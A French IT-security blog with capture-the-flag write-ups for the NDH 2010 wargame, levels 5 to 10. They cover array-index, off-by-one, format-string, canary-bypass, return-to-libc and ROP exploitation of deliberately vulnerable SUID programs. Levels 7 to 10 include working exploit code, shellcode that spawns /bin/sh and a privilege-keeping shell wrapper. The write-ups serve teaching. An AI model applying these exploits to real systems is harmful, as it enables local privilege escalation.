raisep0wn

Geek Stuff & IT Security

NDH 2k10 Public WarGame level5

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
	int array[32];

	array[frame] = value;
	printf("fill case %d with %d.\n", frame, value);
	return;
}

int main(int argc, char **argv) {
	if (argc != 3)
		printf("syntax: %s [slot] [val]\n", argv[0]);
	else
		setArray(atoi(argv[1]), atoi(argv[2]));
	exit(0);
}

Cette fois, il s’agit d’un débordement de tableau, c’est plus original. Le programme nous permet d’écrire dans une cellule du tableau, et bien sûr, aucune vérification n’est faite, ce qui nous permet d’écrire au-delà dudit tableau. Nous remarquons que la cellule 33 pointe vers SEIP. (Soit par dichotomie, soit à l’aide de gdb, mais nous n’allons pas sortir les débuggeurs dès le niveau 4 tout de même). Nous pouvons donc aisément rediriger le flux d’exécution. Cependant, nous ne pouvons plus écrire notre shellcode sur la pile… Enfin, à première vue. L’astuce consiste à cacher notre shellcode dans une variable d’environnement dont nous pouvons déterminer l’adresse mémoire à l’aide de la fonction C getenv(« env name »). Ensuite, il suffit de faire pointer EIP dessus, seulement il ne faut pas oublier de convertir l’adresse hexadécimal en décimal.

Written by Ralph

28/05/2011 at 08:05

Publié dans IT Security

Tagged with , ,

NDH 2k10 Public WarGame level6

leave a comment »


Code source de l’épreuve :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}

int main(int argc, char *argv[])
{
if(!argv[1]) return;

layer(argv[1]);
return 0;
}

Voilà quelque chose d’intéressant pour tout programmeur débutant en C. Ici nous avons un buffer de 128 octet, et nous empêchons une chaine de plus de 128 caractères d’être copiée dans ce buffer. Où est le problème ? Hé bien la fonction strlen() compte les caractères de la chaine en omettant le caractère null qui la termine. « foo » fait bien 3 caractères, mais en mémoire elle prend 4 octets [foo+null]. Lorsque strcpy() copiera une chaine de 128 caractères, elle écrasera l’octet suivant en ajoutant le caractère null. C’est ce que l’on appel un off by one. Ainsi, le dernier octet de SEBP est écrasé provoquant (ou pas) un décalage d’au plus 255 sur EBP. En bidouillant un peu, ou en ayant de la chance, après deux leave / ret, EIP pointe en plein dans notre buffer. Il ne reste plus qu’a le rediriger vers notre shellcode. La vidéo explique relativement en détail le comment du pourquoi.

Références :

Written by Ralph

28/05/2011 at 08:04

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level8

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
        if(argc < 2) {
                printf("Empty login! \n");
                exit(-1);
        }

        printf(argv[1]);
        printf("\nNice to see you\n");

        exit(0);
}

Une fonction d’apparence anodine comme printf peut cacher bien des surprises. Les formats strings. Cette fonction analyse la chaine de caractère à la recherche de spécification de conversion, les fameux caractères pour-cent que l’on utilise généralement pour afficher dans un format donné les arguments passés à la fonction. Ce challenge nous donne un contrôle total sur la chaine qu’utilise printf. En utilisant %x nous pouvons afficher le contenu de la pile. En y ajoutant le caractère dollar, nous avons un accès direct au paramètre. En clair, nous pouvons choisir la position de l’argument que nous utilisons. Ainsi %42$08x affichera le 42e octet de la pile. Et enfin, à l’aide de %n nous pouvons écrire dans un pointeur le nombre de caractère déjà inscrit. En mélangeant correctement ces différentes spécifications de conversion, nous pouvons lire et écrire à peu près partout dans la zone mémoire du programme. Nous nous contenterons d’écraser une entrée de le GOT afin de rediriger les appels à la fonction puts() vers note shellcode. La vidéo devrait vous permettre de comprendre le principe. Le script utilisé pour générer la chaine d’exploitation, et l’exploit ont été ajoutés à la fin de cet article.

#!/usr/bin/python
from sys import argv
from getopt import getopt

opt,arg = getopt(argv[1:], "g:v:o:p:l")
target = []
desire = []
offset = -1
padding = ""
LE = 0x000000FF
string = ""

for o,a in opt:
    if o == "-g":
        a = int(a, 16)
        for i in range(4):
            target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
            a += 1
    elif o == "-v":
        desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
    elif o == "-o":
        offset = int(a)
    elif o == "-p":
        padding = a

if target == [] or desire == [] or offset == -1:
    print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
    exit(1)

string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)

for i in range(4):
    string += "%c%c%c%c"%tuple(target[i])
string += "%c%c%c%c"%tuple(desire) #useless -_-"
string += padding
print string
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level8/level8";
char *env[] = {"SHLVL=0", "PWD=/tmp/level8", "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char* argv[])
{
 if(!execle(target_path, target_path, argv[1], (char *)0, env))
 {
  perror("Unable to execute target.");
  exit(1);
 }
}

Références :

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level7

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
	unsigned int cookie = secret;
	char tmp[64] = {'\0'};

	strcpy(tmp, arg);
	if(cookie!=secret) {
		printf("It's not my cookie :(\n");
		exit(0);
	}

	return 1337;
}

int main(int argc, char *argv[])
{
	if(argc != 2) {
		printf("%s <P0wn Me!> \n", argv[0]);
		exit(0);
	}

	srand(time(NULL));
	secret = rand();

	printf("GooD Boy 🙂 %08X\n", secret);

	vuln(argv[1]);
	return 0;
}

Voilà donc ce que l’on pourrait qualifier de stack-canary. Quid ? Il s’agit en fait d’une variable que l’on va placer sur la pile pour empêcher les buffers overflow. En cas de débordement, la variable est écrasée, et le programme peut le détecter. Le challenge consiste à provoquer un buffer overflow tout en insérant le cookie à la bonne place pour pouvoir exécuter notre shellcode en passant outre cette maigre sécurité. Le cookie est calculé avec la fonction rand qui prend comme seed le temps système. De ce fait, la valeur peuso-aléatoire générée varie toutes les secondes, mais reste donc stable durant une seconde. Nous pouvons très bien calculer cette valeur aléatoire, et si nous arrivons à lancer le programme dans la même seconde, (c’est long une seoncde), alors nous pouvons prédire le cookie, et exploiter cette faille. Ensuite, en lisant le code assembleur fourni par gdb, nous nous apercevons que le cookie est empilé juste avant le buffer et se situe donc en tmp[65;68]. SEIP, lui, se trouve en tmp[81;84]. Nous avons toutes les informations necessaires à l’exploitation. Petite remarque, nous cacherons notre shellcode dans une variable d’environnement, mais nous n’utiliserons pas getenv pour en calculer l’adresse. En effet, en utilisant la fonction C execve() nous pouvons contrôler les variables d’environnements passées au programme. Nous savons que le tableau de variable se termine à l’adresse 0xbffffffc et que ce tableau contiendra notre shellcode, ainsi que le program-path. Nous pouvons donc déterminer l’adresse de notre shellcode à l’avance en calculant 0xbffffffc – len(program_path)-1 – len(shellcode)-1. Écrivons l’exploit…

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//Target program
char target_path[] = "/home/level7/level7";
char target_name[] = "level7";
//Shellcode to spawn a shell
char *shellcode[] = {"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char *argv[])
{
 char arg[85];		//Argument like {<prog> "<garbage[64]><canary[4]><garbage[12]><eip[4]>"}
 char canary[5];	//Canary in little-endian string
 char eip[5];		//Eip in little-endian string

 //Getting shellcode address in environment variable array *shellcode[]
 unsigned int shaddr = 0xbffffffc - (strlen(target_path)+1 + strlen(shellcode[0])+1);

 //Generate the random value based on system time
 srand(time(NULL));
 unsigned int r = random();

 //Convert canary and @shellcode into little-endian
 snprintf(canary, 5, "%c%c%c%c", (char)r&0x000000FF, (char)(r >> 8)&0x000000FF, (char)(r >> 16)&0x000000FF, (char)(r >> 24)&0x000000FF);
 snprintf(eip, 5, "%c%c%c%c", (char)shaddr&0x000000FF, (char)(shaddr >> 8)&0x000000FF, (char)(shaddr >> 16)&0x000000FF, (char)(shaddr >> 24)&0x000000FF);
 //Concat arg string
 snprintf(arg, 85, "----------------------------------------------------------------%s------------%s", canary, eip);

 //Debug info
 printf("Arg = %s\n", arg);
 printf("Canary = 0x%08X <-> %s\n", r, canary);
 printf("@sh = 0x%08x <-> eip = %s\n\n", shaddr, eip);

 //Exploit
 if(!execle(target_path, target_name, arg, (char *)0, shellcode))
 {
  perror("Unable to execute the target.\n");
  exit(1);
 }
 return 0;
}

Written by Ralph

28/05/2011 at 08:03

Publié dans IT Security

Tagged with , , ,

NDH 2k10 Public WarGame level9

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
char login[50];

strcpy(login, tmp);
printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
sayHello(argv[1]);

exit(0);
}

Le challenge 9 ressemble beaucoup level7, toutefois le stack-canary qui permettait de détecter le buffer overflow a été remplacé par l’utilisation de GRsecurity. La commande paxctl -c -Spermx permet d’activer le mode SEGMEXEC de PaX (Protection against Execution). Il s’agit d’une implémentation logicielle du bit NX des architectures IA-32, qui permet d’empêcher l’exécution de code sur les segments de données. Nous considérerons donc pour le challenge que la pile n’est pas exécutable, même si en réalités un exploit comme celui du level7 fonctionne très bien sur le serveur. L’astuce, qui porte le nom de return into libc, va consister à écraser EIP afin de rediriger le flux d’exécution vers une fonction de la libc (ou autre) qui pourrait nous être utile. C’est fonctions étant dans des segments de code, elles sont a fortiori exécutable. Nous pourrions par exemple exécuter la fonction system() en prenant soin de bien positionner les arguments sur la pile afin d’exécuter par exemple un shell. Cependant, en procédant ainsi nous perdons les privilèges fourni par le bit SUID. Nous passerons donc par l’exécution d’un wrapper afin de maintenir explicitement les privilèges détournés.

Le code source du wrapper :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[])
{
int euid = geteuid();
setreuid(euid, euid);
execv("/bin/sh", (char *)0);
}

Le code source de l’exploit :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char target_path[] = "/home/level9/level9";
char *env[] = {"/tmp/wrapper", (char *)0};

int main(int argc, char* argv[])
{
if(!execle(target_path, target_path, argv[1], (char *)0, env))
{
perror("Unable to execute target.");
exit(1);
}
}

La chaine passée en argument à l’exploit contient les adresses des fonction utilisées (execv, et exit) ainsi que leurs arguments : 0xbfffffdb pour la chaine « /tmp/wrapper » et 0xbffffffc pour un pointeur vers une chaine vide.

"$(python -c "print '-'*54+ '\x20\x8e\xf2\xb7' + '\xa0\xd7\xeb\xb7' + '\xdb\xff\xff\xbf' + '\xfc\xff\xff\xbf'")"

Références :

Written by Ralph

28/05/2011 at 08:02

NDH 2k10 Public WarGame level10

leave a comment »


Pas de code source pour le level10, enfin pas avant d’avoir validé le challenge. Tout comme l’épreuve précédente, un simple buffer overflow comme le level7 semble suffire, néanmoins nous tenterons d’illustrer une nouvelle technique. A l’exécution du challenge, le programmeur nous met au défis d’exploiter l’application à l’aide d’une technique du nom de ROP, qui signifie Return Oriented Programming. Le principe est simple. Ne pouvant pas exécuter de shellcode sur la pile, nous allons rechercher dans le code de l’application des blocs d’instructions assembleur qui se termine par l’instruction ret. On appelle ces blocs des gadgets. En enchainant ces gadgets sur la pile nous pourrons constituer et exécuter un shellcode. En fonction des mesures de sécurités présentes sur la machine, l’exercice peut s’averer plus ou moins complexe. Il existe plusieurs outils pour rechercher des gadgets dans le code de l’exécutable. Pour ma part j’ai utilisé un petit script python qui rempli parfaitement son rôle : ROPEME (ROP Exploit Made Easy). En enchainant les gadgets on peut par exemple invoquer execv afin de lancer un wrapper qui va lui même lancer un shell en s’assurant de conserver les privilèges obtenus à l’aide du bit SUID.

Code source du wrapper :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char* argv[])
{
int euid = geteuid();
setreuid(euid, euid);
execv("/bin/sh", (char *)0);
}

Code source de l’exploit :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//Target program
char target_path[] = "/home/level10/level10";
char *env[] = {"/tmp/wrapper", (char *)0};

int main(int argc, char *argv[])
{
char arg[89]; //Argument
char ebx[5];  //Ebx in little-endian string

//Getting shellcode address in environment varibale array
unsigned int shaddr = 0xbffffffc - (strlen(target_path)+1 + strlen(env[0])+1);

//Convert @shellcode into little-endian
snprintf(ebx, 5, "%c%c%c%c", (char)shaddr&0x000000FF, (char)(shaddr >> 8)&0x000000FF, (char)(shaddr >> 16)&0x000000FF, (char)(shaddr >> 24)&0x000000FF);

//ROP chain
snprintf(arg, 89,
"------------" //garbage
"\x41\x23\x05\x08"    //pop edx ; pop ecx ; pop ebx ;;
"\xff\xff\xff\xff"    //edx
"\xff\xff\xff\xff"    //ecx
"%s"                 //ebx
"\xe9\xec\x04\x08"    //inc edx ; add al 0x83 ;;
"\xa6\x53\x08\x08"    //inc ecx ; adc al 0x39 ;;
"\x5c\x82\x04\x08"    //xor eax eax ; inc eax ;;    eax=0x1
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x2
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x3
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x4
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x5
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x6
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x7
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x8
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0x9
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0xa
"\x5e\x82\x04\x08"    //inc eax ;;            eax=0xb
"\x60\x82\x04\x08"    //int 0x80 ; pop ebp ;;
"\xf0\xff\xff\xbf"    //ebp (dont care)
, ebx);

//Exploit
if(!execle(target_path, target_path, arg, (char *)0, env))
{
perror("Unable to execute the target.\n");
exit(1);
}
return 0;
}

Références :

Written by Ralph

28/05/2011 at 08:01

Publié dans IT Security

Tagged with , , ,

Assembleur vs C++

leave a comment »

Qui a dit que le C++ était plus facile à comprendre que l’assembleur ?

C++ :

struct cool {
char p1, p2, p[5];
cool(int c) : p2(c++), p1(--c) {
strcpy(p, "l0dh");
p2=--p[2]; p[1]=p1; p[2]=24-p[3]+++'0'*4;
printf("www.%s.net", this);
}
} leet('p');

ASM :

011417F0   . A0 1D301401    MOV AL,BYTE PTR DS:[114301D]             //al = 68
011417F5   . B1 D8          MOV CL,0D8                               //cl = D8
011417F7   . 2AC8           SUB CL,AL                                //cl = 70
011417F9   . FEC0           INC AL                                   //al = 69
011417FB   . 68 18301401    PUSH leet_o.01143018                     ; /<%s> = "ocl0dh"
01141800   . 68 F4201401    PUSH leet_o.011420F4                     ; |format = "www.%s.net"
01141805   . C605 1B301401  MOV BYTE PTR DS:[114301B],6F             ; | // 0 -> o
0114180C   . 880D 1C301401  MOV BYTE PTR DS:[114301C],CL             ; | // d -> p
01141812   . A2 1D301401    MOV BYTE PTR DS:[114301D],AL             ; | // h -> i
01141817   . FF15 A0201401  CALL DWORD PTR DS:[<&MSVCR100.printf>]   ; \printf
0114181D   . 83C4 08        ADD ESP,8
01141820   . C3             RETN

Lire le reste de cette entrée »

Written by Ralph

26/02/2011 at 05:32

Publié dans Geek Stuff

Tagged with ,